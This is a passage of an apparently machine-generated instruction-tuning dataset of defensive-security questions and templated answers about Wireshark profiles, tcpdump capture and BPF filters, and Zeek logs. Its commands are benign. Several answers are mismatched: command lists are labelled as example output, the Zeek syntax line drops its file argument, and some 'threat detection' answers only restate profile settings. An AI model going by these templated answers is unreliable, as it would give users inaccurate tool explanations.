"flags": []}, "created_at": "2025-12-18T00:11:32.041984Z", "updated_at": "2025-12-18T00:11:32.041984Z"} +{"id": "trtp-42c9acfb3a00", "instruction": "Show me an example of Wireshark in action.", "output": "Here is a practical example of Wireshark:\n\n```\n# Create new profile:\n1. Edit > Configuration Profiles\n2. Click '+' or copy existing\n3. Name profile (e.g., 'Malware Analysis')\n4. Customize settings\n5. Switch profiles from status bar dropdown\n\n# Typical profiles:\n- HTTP Analysis (HTTP columns, filters)\n- Malware Hunting (custom colors, filters)\n- VoIP (RTP columns, statistics)\n```\n\nProfiles save Wireshark configurations including display filters, coloring rules, columns, and preferences. Create profiles for different analysis scenarios.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-wireshark-profile-management", "license": "original", "retrieved_at": "2025-12-18T00:11:32.041939Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.041995Z", "updated_at": "2025-12-18T00:11:32.041995Z"} +{"id": "trtp-41118d27cf40", "instruction": "When should I use Wireshark?", "output": "Use cases for Wireshark:\n\n- Quick context switching\n- Team standardization\n- Scenario-specific analysis\n- Training environments\n\nProfiles save Wireshark configurations including display filters, coloring rules, columns, and preferences. Create profiles for different analysis scenarios.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-wireshark-profile-management", "license": "original", "retrieved_at": "2025-12-18T00:11:32.041939Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.042006Z", "updated_at": "2025-12-18T00:11:32.042006Z"} +{"id": "trtp-e3cf00c96f5f", "instruction": "What best practices should I follow when using Wireshark?", "output": "Tips for using Wireshark:\n\n- Share profiles with team\n- Create analysis-specific profiles\n- Include custom columns and filters\n\nUseful for: Quick context switching, Team standardization, Scenario-specific analysis", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-wireshark-profile-management", "license": "original", "retrieved_at": "2025-12-18T00:11:32.041939Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.042022Z", "updated_at": "2025-12-18T00:11:32.042022Z"} +{"id": "trtp-fe1fb757c016", "instruction": "How can Wireshark help identify malicious activity?", "output": "Using Wireshark for threat detection:\n\nProfiles save Wireshark configurations including display filters, coloring rules, columns, and preferences. Create profiles for different analysis scenarios.\n\nExample:\n```\n# Create new profile:\n1. Edit > Configuration Profiles\n2. Click '+' or copy existing\n3. Name profile (e.g., 'Malware Analysis')\n4. Customize settings\n5. Switch profiles from status bar dropdown\n\n# Typical profiles:\n- HTTP Analysis (HTTP columns, filters)\n- Malware Hunting (custom colors, filters)\n- VoIP (RTP columns, statistics)\n```\n\nTips:\n- Share profiles with team\n- Create analysis-specific profiles", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-wireshark-profile-management", "license": "original", "retrieved_at": "2025-12-18T00:11:32.041939Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.042035Z", "updated_at": "2025-12-18T00:11:32.042035Z"} +{"id": "trtp-3c8367d1d6df", "instruction": "What is the typical workflow for using Wireshark?", "output": "Workflow for Wireshark Profile Management:\n\n1. Understand the context: Profiles save Wireshark configurations including display filters, coloring rules, columns, and preferences. Create profiles for different analysis scenarios.\n\n2. Apply the tool:\n```\n# Create new profile:\n1. Edit > Configuration Profiles\n2. Click '+' or copy existing\n3. Name profile (e.g., 'Malware Analysis')\n4. Customize settings\n5. Switch profiles from status bar dropdown\n\n# Typical profiles:\n- HTTP Analysis (HTTP columns, filters)\n- Malware Hunting (custom colors, filters)\n- VoIP (RTP columns, statistics)\n```\n\n3. Common scenarios: Quick context switching, Team standardization, Scenario-specific analysis\n\n4. Best practices:\n - Share profiles with team\n - Create analysis-specific profiles", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-wireshark-profile-management", "license": "original", "retrieved_at": "2025-12-18T00:11:32.041939Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.042050Z", "updated_at": "2025-12-18T00:11:32.042050Z"} +{"id": "trtp-2d3433d3d868", "instruction": "What are the advantages of Wireshark for security analysis?", "output": "Advantages of Wireshark:\n\nProfiles save Wireshark configurations including display filters, coloring rules, columns, and preferences. Create profiles for different analysis scenarios.\n\nBest suited for:\n- Quick context switching\n- Team standardization\n- Scenario-specific analysis\n- Training environments\n\nNetwork-level analysis complements endpoint data for full visibility.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-wireshark-profile-management", "license": "original", "retrieved_at": "2025-12-18T00:11:32.041939Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.042064Z", "updated_at": "2025-12-18T00:11:32.042064Z"} +{"id": "trtp-5e35b4b00b80", "instruction": "Can Wireshark be combined with other analysis methods?", "output": "Integration points for Wireshark:\n\nProfiles save Wireshark configurations including display filters, coloring rules, columns, and preferences. Create profiles for different analysis scenarios.\n\nIntegration suggestions:\n- Correlate with endpoint telemetry\n- Feed indicators to SIEM\n- Use with threat intelligence feeds\n- Combine with DNS logs for full picture", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-wireshark-profile-management", "license": "original", "retrieved_at": "2025-12-18T00:11:32.041939Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.042078Z", "updated_at": "2025-12-18T00:11:32.042078Z"} +{"id": "trtp-e374b0204ff2", "instruction": "What do I need to know about tcpdump?", "output": "tcpdump Basic Capture\n\ntcpdump is a command-line packet capture tool using libpcap. Captures network traffic and can filter using BPF expressions. Fundamental tool for network troubleshooting and forensics.\n\nPlatform: linux\n\nCommon uses:\n- Quick packet capture\n- Network troubleshooting\n- Remote server capture\n- Scripted analysis", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-tcpdump-basic-capture", "license": "original", "retrieved_at": "2025-12-18T00:11:32.042274Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.042295Z", "updated_at": "2025-12-18T00:11:32.042295Z"} +{"id": "trtp-0a51e99ece1e", "instruction": "How do I use tcpdump?", "output": "Syntax for tcpdump:\n\ntcpdump [options] [filter]\n\ntcpdump is a command-line packet capture tool using libpcap. Captures network traffic and can filter using BPF expressions. Fundamental tool for network troubleshooting and forensics.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-tcpdump-basic-capture", "license": "original", "retrieved_at": "2025-12-18T00:11:32.042274Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.042309Z", "updated_at": "2025-12-18T00:11:32.042309Z"} +{"id": "trtp-5b6a53e7bec7", "instruction": "Give me a practical example of tcpdump.", "output": "Example of tcpdump Basic Capture:\n\n```\n# Capture on interface\ntcpdump -i eth0\n\n# Write to file\ntcpdump -i eth0 -w capture.pcap\n\n# Read from file\ntcpdump -r capture.pcap\n\n# Capture with filter\ntcpdump -i eth0 'host 192.168.1.100 and port 443'\n```\n\nInterpretation: Shows timestamp, protocol, source, destination, and packet info", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-tcpdump-basic-capture", "license": "original", "retrieved_at": "2025-12-18T00:11:32.042274Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.042321Z", "updated_at": "2025-12-18T00:11:32.042321Z"} +{"id": "trtp-620ae53e5055", "instruction": "Show me an example of tcpdump in action.", "output": "Here is a practical example of tcpdump:\n\n```\n# Capture on interface\ntcpdump -i eth0\n\n# Write to file\ntcpdump -i eth0 -w capture.pcap\n\n# Read from file\ntcpdump -r capture.pcap\n\n# Capture with filter\ntcpdump -i eth0 'host 192.168.1.100 and port 443'\n```\n\ntcpdump is a command-line packet capture tool using libpcap. Captures network traffic and can filter using BPF expressions. Fundamental tool for network troubleshooting and forensics.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-tcpdump-basic-capture", "license": "original", "retrieved_at": "2025-12-18T00:11:32.042274Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.042331Z", "updated_at": "2025-12-18T00:11:32.042331Z"} +{"id": "trtp-7f7aaab43e88", "instruction": "When should I use tcpdump?", "output": "Use cases for tcpdump:\n\n- Quick packet capture\n- Network troubleshooting\n- Remote server capture\n- Scripted analysis\n\ntcpdump is a command-line packet capture tool using libpcap. Captures network traffic and can filter using BPF expressions. Fundamental tool for network troubleshooting and forensics.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-tcpdump-basic-capture", "license": "original", "retrieved_at": "2025-12-18T00:11:32.042274Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.042343Z", "updated_at": "2025-12-18T00:11:32.042343Z"} +{"id": "trtp-c576662b025d", "instruction": "How do I read tcpdump output?", "output": "Interpreting tcpdump output:\n\nShows timestamp, protocol, source, destination, and packet info\n\nExample output:\n```\n# Capture on interface\ntcpdump -i eth0\n\n# Write to file\ntcpdump -i eth0 -w capture.pcap\n\n# Read from file\ntcpdump -r capture.pcap\n\n# Capture with filter\ntcpdump -i eth0 'host 192.168.1.100 and port 443'\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-tcpdump-basic-capture", "license": "original", "retrieved_at": "2025-12-18T00:11:32.042274Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.042353Z", "updated_at": "2025-12-18T00:11:32.042353Z"} +{"id": "trtp-a1b34cd56196", "instruction": "How can I get the most out of tcpdump?", "output": "Tips for using tcpdump:\n\n- Use -w to save for Wireshark analysis\n- -n prevents DNS lookups (faster)\n- -c limits packet count\n\nUseful for: Quick packet capture, Network troubleshooting, Remote server capture", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-tcpdump-basic-capture", "license": "original", "retrieved_at": "2025-12-18T00:11:32.042274Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.042365Z", "updated_at": "2025-12-18T00:11:32.042365Z"} +{"id": "trtp-83e60efe5ff3", "instruction": "How can tcpdump help identify malicious activity?", "output": "Using tcpdump for threat detection:\n\ntcpdump is a command-line packet capture tool using libpcap. Captures network traffic and can filter using BPF expressions. Fundamental tool for network troubleshooting and forensics.\n\nExample:\n```\n# Capture on interface\ntcpdump -i eth0\n\n# Write to file\ntcpdump -i eth0 -w capture.pcap\n\n# Read from file\ntcpdump -r capture.pcap\n\n# Capture with filter\ntcpdump -i eth0 'host 192.168.1.100 and port 443'\n```\n\nTips:\n- Use -w to save for Wireshark analysis\n- -n prevents DNS lookups (faster)", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-tcpdump-basic-capture", "license": "original", "retrieved_at": "2025-12-18T00:11:32.042274Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.042378Z", "updated_at": "2025-12-18T00:11:32.042378Z"} +{"id": "trtp-4b458eba7eb6", "instruction": "How do I incorporate tcpdump into my security workflow?", "output": "Workflow for tcpdump Basic Capture:\n\n1. Understand the context: tcpdump is a command-line packet capture tool using libpcap. Captures network traffic and can filter using BPF expressions. Fundamental tool for network troubleshooting and forensics.\n\n2. Apply the tool:\n```\n# Capture on interface\ntcpdump -i eth0\n\n# Write to file\ntcpdump -i eth0 -w capture.pcap\n\n# Read from file\ntcpdump -r capture.pcap\n\n# Capture with filter\ntcpdump -i eth0 'host 192.168.1.100 and port 443'\n```\n\n3. Common scenarios: Quick packet capture, Network troubleshooting, Remote server capture\n\n4. Best practices:\n - Use -w to save for Wireshark analysis\n - -n prevents DNS lookups (faster)", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-tcpdump-basic-capture", "license": "original", "retrieved_at": "2025-12-18T00:11:32.042274Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.042393Z", "updated_at": "2025-12-18T00:11:32.042393Z"} +{"id": "trtp-830d73aeaf26", "instruction": "What are the advantages of tcpdump for security analysis?", "output": "Advantages of tcpdump:\n\ntcpdump is a command-line packet capture tool using libpcap. Captures network traffic and can filter using BPF expressions. Fundamental tool for network troubleshooting and forensics.\n\nBest suited for:\n- Quick packet capture\n- Network troubleshooting\n- Remote server capture\n- Scripted analysis\n\nNetwork-level analysis complements endpoint data for full visibility.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-tcpdump-basic-capture", "license": "original", "retrieved_at": "2025-12-18T00:11:32.042274Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.042406Z", "updated_at": "2025-12-18T00:11:32.042406Z"} +{"id": "trtp-ad65c0c23d97", "instruction": "How do I use tcpdump alongside other tools in my toolkit?", "output": "Integration points for tcpdump:\n\ntcpdump is a command-line packet capture tool using libpcap. Captures network traffic and can filter using BPF expressions. Fundamental tool for network troubleshooting and forensics.\n\nIntegration suggestions:\n- Correlate with endpoint telemetry\n- Feed indicators to SIEM\n- Use with threat intelligence feeds\n- Combine with DNS logs for full picture", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-tcpdump-basic-capture", "license": "original", "retrieved_at": "2025-12-18T00:11:32.042274Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.042420Z", "updated_at": "2025-12-18T00:11:32.042420Z"} +{"id": "trtp-8c0277ff0008", "instruction": "Describe tcpdump BPF Filters.", "output": "tcpdump BPF Filters\n\nBPF (Berkeley Packet Filter) expressions filter packets by various criteria including hosts, networks, ports, protocols, and packet content.\n\nPlatform: linux\n\nCommon uses:\n- Reduce capture volume\n- Focus on specific traffic\n- Complex filtering\n- Performance capture", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-tcpdump-bpf-filters", "license": "original", "retrieved_at": "2025-12-18T00:11:32.042611Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.042633Z", "updated_at": "2025-12-18T00:11:32.042633Z"} +{"id": "trtp-21ac845f734b", "instruction": "Show me the basic syntax for tcpdump.", "output": "Syntax for tcpdump:\n\ntcpdump [options] 'filter expression'\n\nBPF (Berkeley Packet Filter) expressions filter packets by various criteria including hosts, networks, ports, protocols, and packet content.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-tcpdump-bpf-filters", "license": "original", "retrieved_at": "2025-12-18T00:11:32.042611Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.042646Z", "updated_at": "2025-12-18T00:11:32.042646Z"} +{"id": "trtp-b4d382e0fb00", "instruction": "How would I use tcpdump for Reduce capture volume?", "output": "Example of tcpdump BPF Filters:\n\n```\n# Filter by host\ntcpdump host 10.0.0.1\n\n# Filter by port\ntcpdump port 80\n\n# Filter by network\ntcpdump net 192.168.0.0/24\n\n# Combine with and/or/not\ntcpdump 'host 10.0.0.1 and port 443'\ntcpdump 'port 80 or port 443'\ntcpdump 'not port 22'\n\n# Filter by packet content\ntcpdump 'tcp[13] & 2 != 0' # SYN flag set\n```\n\nInterpretation: Only packets matching filter are captured/displayed", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-tcpdump-bpf-filters", "license": "original", "retrieved_at": "2025-12-18T00:11:32.042611Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.042658Z", "updated_at": "2025-12-18T00:11:32.042658Z"} +{"id": "trtp-c18d66085849", "instruction": "Show me an example of tcpdump in action.", "output": "Here is a practical example of tcpdump:\n\n```\n# Filter by host\ntcpdump host 10.0.0.1\n\n# Filter by port\ntcpdump port 80\n\n# Filter by network\ntcpdump net 192.168.0.0/24\n\n# Combine with and/or/not\ntcpdump 'host 10.0.0.1 and port 443'\ntcpdump 'port 80 or port 443'\ntcpdump 'not port 22'\n\n# Filter by packet content\ntcpdump 'tcp[13] & 2 != 0' # SYN flag set\n```\n\nBPF (Berkeley Packet Filter) expressions filter packets by various criteria including hosts, networks, ports, protocols, and packet content.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-tcpdump-bpf-filters", "license": "original", "retrieved_at": "2025-12-18T00:11:32.042611Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.042668Z", "updated_at": "2025-12-18T00:11:32.042668Z"} +{"id": "trtp-ab8cf7a22397", "instruction": "When should I use tcpdump?", "output": "Use cases for tcpdump:\n\n- Reduce capture volume\n- Focus on specific traffic\n- Complex filtering\n- Performance capture\n\nBPF (Berkeley Packet Filter) expressions filter packets by various criteria including hosts, networks, ports, protocols, and packet content.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-tcpdump-bpf-filters", "license": "original", "retrieved_at": "2025-12-18T00:11:32.042611Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.042680Z", "updated_at": "2025-12-18T00:11:32.042680Z"} +{"id": "trtp-c6ebde502f16", "instruction": "What best practices should I follow when using tcpdump?", "output": "Tips for using tcpdump:\n\n- Quote complex expressions\n- Test filters before long captures\n- Same syntax as Wireshark capture filters\n\nUseful for: Reduce capture volume, Focus on specific traffic, Complex filtering", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-tcpdump-bpf-filters", "license": "original", "retrieved_at": "2025-12-18T00:11:32.042611Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.042696Z", "updated_at": "2025-12-18T00:11:32.042696Z"} +{"id": "trtp-7554181a51b9", "instruction": "How can tcpdump help identify malicious activity?", "output": "Using tcpdump for threat detection:\n\nBPF (Berkeley Packet Filter) expressions filter packets by various criteria including hosts, networks, ports, protocols, and packet content.\n\nExample:\n```\n# Filter by host\ntcpdump host 10.0.0.1\n\n# Filter by port\ntcpdump port 80\n\n# Filter by network\ntcpdump net 192.168.0.0/24\n\n# Combine with and/or/not\ntcpdump 'host 10.0.0.1 and port 443'\ntcpdump 'port 80 or port 443'\ntcpdump 'not port 22'\n\n# Filter by packet content\ntcpdump 'tcp[13] & 2 != 0' # SYN flag set\n```\n\nTips:\n- Quote complex expressions\n- Test filters before long captures", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-tcpdump-bpf-filters", "license": "original", "retrieved_at": "2025-12-18T00:11:32.042611Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.042709Z", "updated_at": "2025-12-18T00:11:32.042709Z"} +{"id": "trtp-31baed26847e", "instruction": "What is the typical workflow for using tcpdump?", "output": "Workflow for tcpdump BPF Filters:\n\n1. Understand the context: BPF (Berkeley Packet Filter) expressions filter packets by various criteria including hosts, networks, ports, protocols, and packet content.\n\n2. Apply the tool:\n```\n# Filter by host\ntcpdump host 10.0.0.1\n\n# Filter by port\ntcpdump port 80\n\n# Filter by network\ntcpdump net 192.168.0.0/24\n\n# Combine with and/or/not\ntcpdump 'host 10.0.0.1 and port 443'\ntcpdump 'port 80 or port 443'\ntcpdump 'not port 22'\n\n# Filter by packet content\ntcpdump 'tcp[13] & 2 != 0' # SYN flag set\n```\n\n3. Common scenarios: Reduce capture volume, Focus on specific traffic, Complex filtering\n\n4. Best practices:\n - Quote complex expressions\n - Test filters before long captures", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-tcpdump-bpf-filters", "license": "original", "retrieved_at": "2025-12-18T00:11:32.042611Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.042724Z", "updated_at": "2025-12-18T00:11:32.042724Z"} +{"id": "trtp-67cd0b8d9f0f", "instruction": "What are the advantages of tcpdump for security analysis?", "output": "Advantages of tcpdump:\n\nBPF (Berkeley Packet Filter) expressions filter packets by various criteria including hosts, networks, ports, protocols, and packet content.\n\nBest suited for:\n- Reduce capture volume\n- Focus on specific traffic\n- Complex filtering\n- Performance capture\n\nNetwork-level analysis complements endpoint data for full visibility.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-tcpdump-bpf-filters", "license": "original", "retrieved_at": "2025-12-18T00:11:32.042611Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.042738Z", "updated_at": "2025-12-18T00:11:32.042738Z"} +{"id": "trtp-eaec609693d2", "instruction": "Can tcpdump be combined with other analysis methods?", "output": "Integration points for tcpdump:\n\nBPF (Berkeley Packet Filter) expressions filter packets by various criteria including hosts, networks, ports, protocols, and packet content.\n\nIntegration suggestions:\n- Correlate with endpoint telemetry\n- Feed indicators to SIEM\n- Use with threat intelligence feeds\n- Combine with DNS logs for full picture", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-tcpdump-bpf-filters", "license": "original", "retrieved_at": "2025-12-18T00:11:32.042611Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.042752Z", "updated_at": "2025-12-18T00:11:32.042752Z"} +{"id": "trtp-9f8e3b52cb82", "instruction": "Describe Zeek Network Monitor.", "output": "Zeek Network Monitor\n\nZeek (formerly Bro) is a network analysis framework that generates structured logs from network traffic. Provides conn.log, dns.log, http.log, and other log types for analysis.\n\nPlatform: linux\n\nCommon uses:\n- Network security monitoring\n- Traffic analysis\n- Threat hunting\n- Protocol logging", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-zeek-network-monitor", "license": "original", "retrieved_at": "2025-12-18T00:11:32.042927Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.042948Z", "updated_at": "2025-12-18T00:11:32.042948Z"} +{"id": "trtp-eb202c8c11e5", "instruction": "Show me the basic syntax for Zeek.", "output": "Syntax for Zeek:\n\nzeek -r [scripts]\n\nZeek (formerly Bro) is a network analysis framework that generates structured logs from network traffic. Provides conn.log, dns.log, http.log, and other log types for analysis.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-zeek-network-monitor", "license": "original", "retrieved_at": "2025-12-18T00:11:32.042927Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.042962Z", "updated_at": "2025-12-18T00:11:32.042962Z"} +{"id": "trtp-d6fd087aae3d", "instruction": "Demonstrate Zeek Network Monitor with an example.", "output": "Example of Zeek Network Monitor:\n\n```\n# Analyze pcap\nzeek -r capture.pcap\n\n# Output files:\nconn.log # Connection summary\ndns.log # DNS queries/responses\nhttp.log # HTTP requests\nfiles.log # File transfers\nssl.log # TLS connections\nweird.log # Protocol anomalies\n```\n\nInterpretation: Tab-separated log files - one entry per connection/request", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-zeek-network-monitor", "license": "original", "retrieved_at": "2025-12-18T00:11:32.042927Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.042974Z", "updated_at": "2025-12-18T00:11:32.042974Z"} +{"id": "trtp-406af4f3373f", "instruction": "Provide an example of using Zeek.", "output": "Here is a practical example of Zeek:\n\n```\n# Analyze pcap\nzeek -r capture.pcap\n\n# Output files:\nconn.log # Connection summary\ndns.log # DNS queries/responses\nhttp.log # HTTP requests\nfiles.log # File transfers\nssl.log # TLS connections\nweird.log # Protocol anomalies\n```\n\nZeek (formerly Bro) is a network analysis framework that generates structured logs from network traffic. Provides conn.log, dns.log, http.log, and other log types for analysis.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-zeek-network-monitor", "license": "original", "retrieved_at": "2025-12-18T00:11:32.042927Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.042984Z", "updated_at": "2025-12-18T00:11:32.042984Z"} +{"id": "trtp-548ea6e3a624", "instruction": "When should I use Zeek?", "output": "Use cases for Zeek:\n\n- Network security monitoring\n- Traffic analysis\n- Threat hunting\n- Protocol logging\n\nZeek (formerly Bro) is a network analysis framework that generates structured logs from network traffic. Provides conn.log, dns.log, http.log, and other log types for analysis.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-zeek-network-monitor", "license": "original", "retrieved_at": "2025-12-18T00:11:32.042927Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.042996Z", "updated_at": "2025-12-18T00:11:32.042996Z"} +{"id": "trtp-e075dfad9710", "instruction": "What do the results from Zeek mean?", "output": "Interpreting Zeek output:\n\nTab-separated log files - one entry per connection/request\n\nExample output:\n```\n# Analyze pcap\nzeek -r capture.pcap\n\n# Output files:\nconn.log # Connection summary\ndns.log # DNS queries/responses\nhttp.log # HTTP requests\nfiles.log # File transfers\nssl.log # TLS connections\nweird.log # Protocol anomalies\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-zeek-network-monitor", "license": "original", "retrieved_at": "2025-12-18T00:11:32.042927Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.043007Z", "updated_at": "2025-12-18T00:11:32.043007Z"} +{"id": "trtp-4bab39bc4771", "instruction": "How can I get the most out of Zeek?", "output": "Tips for using Zeek:\n\n- Use zeek-cut for field extraction\n- conn.log is the starting point\n- Integrate with SIEM for alerting\n\nUseful for: Network security monitoring, Traffic analysis, Threat hunting", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-zeek-network-monitor", "license": "original", "retrieved_at": "2025-12-18T00:11:32.042927Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, 